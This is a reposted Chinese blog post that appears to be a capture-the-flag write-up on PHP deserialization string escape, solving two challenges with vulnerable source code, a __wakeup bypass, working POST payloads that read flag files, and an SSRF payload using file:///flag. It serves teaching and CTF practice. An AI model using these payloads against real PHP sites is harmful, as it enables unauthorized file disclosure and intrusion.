两道题浅析PHP反序列化逃逸

这篇具有很好参考价值的文章主要介绍了两道题浅析PHP反序列化逃逸。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

两道题浅析PHP反序列化逃逸

一、介绍

  • 反序列化逃逸的出现是因为php反序列化函数在进行反序列化操作时,并不会审核字符串中的内容,所以我们可以操纵属性值,使得反序列化提前结束。

  • 反序列化逃逸题一般都是存在一个filter函数,这个函数看似过滤了敏感字符串,其实使得代码的安全性有所降低;并且分为filter后字符串加长以及字符串变短两种情况,这两种情况有着不同的处理方式。

    • 例如这段代码:

      <?php
      
      function filter($img){
          $filter_arr = array('php','flag','php5','php4','fl1g');
          $filter = '/'.implode('|',$filter_arr).'/i';
          return preg_replace($filter,'',$img);
      }
      
      $ab=array('user'=>'flagflagflag','1'=>'1');
      echo filter(serialize($ab));
      
      ?>
      

      本来反序列化的结果为:a:2:{s:4:"user";s:12:"flagflagflag";i:1;s:1:"1";}

      但是因为敏感字符串替换变成了:a:2:{s:4:"user";s:12:"";i:1;s:1:"1";}

      这样在反序列化时,就导致了原先的键值flagflagflag被现在的12个字符";i:1;s:1:"1替换了。导致函数误以为键user的值为";i:1;s:1:"1

      但是同时这里确定了有两个类,所以要想反序列化成功,则需要让原来键1对应值再包含一个类,这样就能够填补前面被覆盖的1键值的空缺;i:1;s:1:"1"应该是i:1;s:13:"1";i:2;s:1:"2",即过滤后字符串为:a:2:{s:4:"user";s:13:"";i:1;s:13:"1";i:2;s:1:"2";}

    • 下面通过两道题实际应用一下该漏洞。

二、【安洵杯 2019】easy_serialize_php

2.1 收获

  • php反序列化逃逸
  • 数组变量覆盖
  • POST请求体传递数组

2.2 分析

  • 代码:

    <?php
    
    $function = @$_GET['f'];
    
    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    
    
    if($_SESSION){
        unset($_SESSION);
    }
    
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    
    extract($_POST);
    
    if(!$function){
        echo '<a href="index.php?f=highlight_file">source_code</a>';
    }
    
    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    
    $serialize_info = filter(serialize($_SESSION));
    
    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    } 
    

    分析代码,首先filter函数实现了一个替换字符串中敏感字符为空的操作。

    然后对$__SESSION进行了设置,但是下面出现了一个extract($_POST);。在Php中extract函数实现一个提取数组中键值并覆盖原数组的功能。也就是说,虽然上面设置了user键的内容,但是如果POST变量中不存在user键,那么更新后的$__SESSION中则不包含user键。

    下面又进行了img键值的设置,并将序列化后的字符串传入filter中进行过滤。

  • 思路

    首先肯定是需要查看phpinfo()中的文件;然后应该是通过更改$__SESSION数组实现反序列化读文件。

3.3 利用

  • 访问Phpinfo:

    得到了一个提示,包含了d0g3_f1ag.php文件。说明我们需要访问这个php文件。

  • 读文件:

    当我们GET请求中设置img_path变量时,势必会触发sha1函数,这样我们无法读取正常的路径;但是不设置img_path更无法得到文件内容。于是思考这个反序列化。因为反序列化后的字符串会经过filter函数处理,那能不能通过故意引入敏感字符串,使得序列化后的字符串改变,从而在反序列时得到我们想要的输出呢?

  • payload

    在本题中因为将敏感字符串替换为空,所以是字符串变短的情况。

    首先f的值需要为show_image;其次我们需要覆盖img键对应的值为d0g3_f1ag.php的编码值:ZDBnM19mMWFnLnBocA==。也就是说我们构造的字符串中要包括:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==",并且让该字符串前面的序列化内容正好被敏感字符过滤的坑位吃掉。同时,为了覆盖最后系统赋值的img,我们在字符串后面还要加一个类。

    _SESSION[test]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:1;s:1:"2";}
    

    其过滤后的序列化结果为:

    原本的红线部分作为了现在func键的值。

  • 抓包:

    注意_SESSION数组修改方式不包含$符号与引号(不要按照Php格式写就行,这里笨了)。

  • 继续:

    说明要继续读取:/d0g3_fllllllag=>L2QwZzNfZmxsbGxsbGFn

    payload:

    _SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:1;s:1:"2";}
    

三、Bugku newphp

3.1 收获

  • php反序列化逃逸
  • __wakeup函数绕过

3.2 分析

题目代码:

<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
    public $hint;

    public function __construct($hint){
        $this->hint = $hint;
    }

    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }

    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));
  • 首先为了能够访问hint.php,我们需要绕过__wakeup()函数,不然hint变量会被赋值为表情符号。

    • 这里的绕过其实简单,因为如果序列化字符串中声明的变量数量大于实际的变量数量就可以实现不执行__wakeup()
    • 正常的evil类序列化后为:O:4:"evil":1:{s:4:"hint";s:8:"hint.php";},这里只有一个属性。我们将其改为O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
  • 其次,为了反序列化后的结果为evil类,需要进行反序列化逃逸,因为无法使用username=new evil()然后在User类的__construct()函数创建evil类的办法。

    • 我们需要使得User中的username或者password属性为O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

    • 分析write()read()函数可以发现,chr(0)对应的是空字符,一般我们提供的字符串中不会包含空字符;但是我们可以让字符串中包含\0\0\0从而在read()函数中实现替换,使得字符串变短一半。这里需要注意chr(0)虽然是空字符串,但是其也占了一个长度,所以从'\0\0\0'到chr(0).*.chr(0)其实是字符串缩短了一半。

    • 正常的User类序列化之后为O:4:"User":2:{s:8:"username";s:8:"hint.php";s:8:"password";s:4:"test"}。如果我们让username中包含许多\0,从而字符串变短后吞掉后面的"s:8:"password";s:4:"共21个字符串,但是同时因为我们的payload最后肯定是大于10的,所以password后面的s:4应该是两位数而不是4,所以总共需要吞掉22个字符。

    • 量子力学计算一下,我们需要24个\0,并且password中增加一写字符串,才能实现覆盖22个字符串。

    • 测试:

      <?php
      class evil{
          public $hint;
      
          function __wakeup() { 
      		echo $this->hint;
          }
      }
      class User
      {
          public $username;
          public $password;
      
          public function __construct(){
              $this->username = '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'; #24
              $this->password = ';";s:8:"password";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}';
          }
      
      }
      $a=new User();
      echo serialize($a);
      echo '                               ';
      function write($data){
          global $tmp;
          $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
          $tmp = $data;
      }
      
      function read(){
          global $tmp;
          $data = $tmp;
          $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
          return $r;
      }
      echo read(write(serialize($a)));
      unserialize(read(write(serialize($a))))
      ?>
      

      这样会直接输出字符串hint.php。实际为了躲避__wakeup函数,evil的类变量需要设置为2。

3.3 反序列化逃逸

payload:

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=;";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}

3.4 SSRF

得到base64字符串解码:

<?php
 $hint = "index.cgi";
 // You can't see me~

直接访问后得到:

{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-656d4ec1-1bc041685ed0055f65124685" }, "origin": "114.67.175.224", "url": "http://httpbin.org/get?name=Bob" } 

说明网站是向http://httpbin.org发送了一个请求,那这里就需要SSRF。

这里我们可以向其传参name参数,并且Agent里面提示了,其使用的是curl进行发送请求。

所以为了读取flag,我们要使用file协议,但是这里是向http://httpbin.org发送请求。这里使用空格截断,这样在curl同时可以实现向两个url发送请求(可以在本地命令行测试curl的用法)

payload:

?name= file:///flag

注意name后的空格。

总结

  • 对于反序列化逃逸题目首先要看有没有序列化后的字符串替换,如果存在,可以说题目基本上是在考察该知识点。
  • 分析替换方式。
    • 缩短类型:基本上是靠前一个属性包含的字符串被缩短后,吞吃后一个属性;同时在后一个属性中存放需要利用的属性即可。
    • 变长类型:这个后续如果遇到相关题目会进行补充。

参考链接

PHP反序列化字符逃逸详解

如有错误敬请指正!文章来源地址https://www.toymoban.com/news/detail-748221.html

到了这里,关于两道题浅析PHP反序列化逃逸的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java反序列化和PHP反序列化的区别

    反序列化存在的意义是为了数据传输,类是无法直接进行传输的。通过序列化后转换为字符串格式或者JSON格式进行传输 。 序列化与反序列化 seriallization 序列化 : 将对象转化为便于传输的格式, 常见的序列化格式:二进制格式,字节数组,json字符串,xml字符串。 deseriall

    2024年02月07日
    浏览(38)
  • 【精选】PHP&java 序列化和反序列化漏洞

    目录 首先 其次 技巧和方法

    2024年01月23日
    浏览(50)
  • 反序列化漏洞(PHP)

    0x01. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性 0x02. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型

    2024年02月06日
    浏览(47)
  • PHP反序列化漏洞原理

    1、原理: 序列化与反序列化是保证数据一致性的过程。 2、产生: 序列化与反序列化的过程中,用户可控 如果反序列化的参数受到攻击者的控制,就会产生漏洞。攻击者可以通过修改参数个数等方式来控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。

    2024年01月16日
    浏览(60)
  • php反序列化漏洞基础

            序列化是将对象或类转换为字符串的过程 ,以便在程序运行过程中对其进行持久化存储或传输的操作。在PHP中,序列化主要用于将类对象或数组转换成字节流的形式,以便于存储在磁盘或传输到其他系统。         通过 序列化,可以将对象或类转换成一串字

    2024年01月20日
    浏览(59)
  • 基于PHP反序列化练习

     PHP创建一个以自己姓名命名的类,要求存在两个属性,name,age,进行序列化,输出序列化以后的数据。 序列化后数据: 手动修改序列化后的数据实现age年龄+100,输出反序列化后的内容:

    2024年01月23日
    浏览(63)
  • PHP反序列化漏洞之魔术方法

    PHP魔术方法 (Magic Methods) 是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct() 、 __toString() 等。 魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性

    2024年02月16日
    浏览(48)
  • PHP反序列化漏洞-魔术方法绕过

    一、__wakeup()魔法函数绕过: 在PHP中,__wakeup()是一个魔术方法,用于在反序列化对象时自动调用。 当反序列化字符串中的对象属性个数大于实际属性个数时 ,可以利用这个漏洞进行绕过。 触发条件: PHP版本为5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的对

    2024年01月18日
    浏览(53)
  • 反序列化漏洞及PHP魔法函数

    目录 1、漏洞原理 2、序列化(以PHP语言为例) 3、反序列化 4、PHP魔法函数 (1)__wakeup() (2)__destruct() (3)__construct() (4)__toString() (5)__get() (6)__call() PHP反序列化漏洞也叫PHP对象注入,形成的原因是程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反

    2024年02月04日
    浏览(57)
  • 无涯教程-PHP - Filtered反序列化

    PHP 7引入了Filtered unserialize() 函数,以在对不受信任的数据上的对象进行反序列化时提供更好的安全性。 它产生以下浏览器输出- PHP - Filtered反序列化 - 无涯教程网 无涯教程网提供PHP 7引入了Filtered unserialize() 函数,以在对不受信任的数据上的对象进行反序列化... https://www.lea

    2024年02月10日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包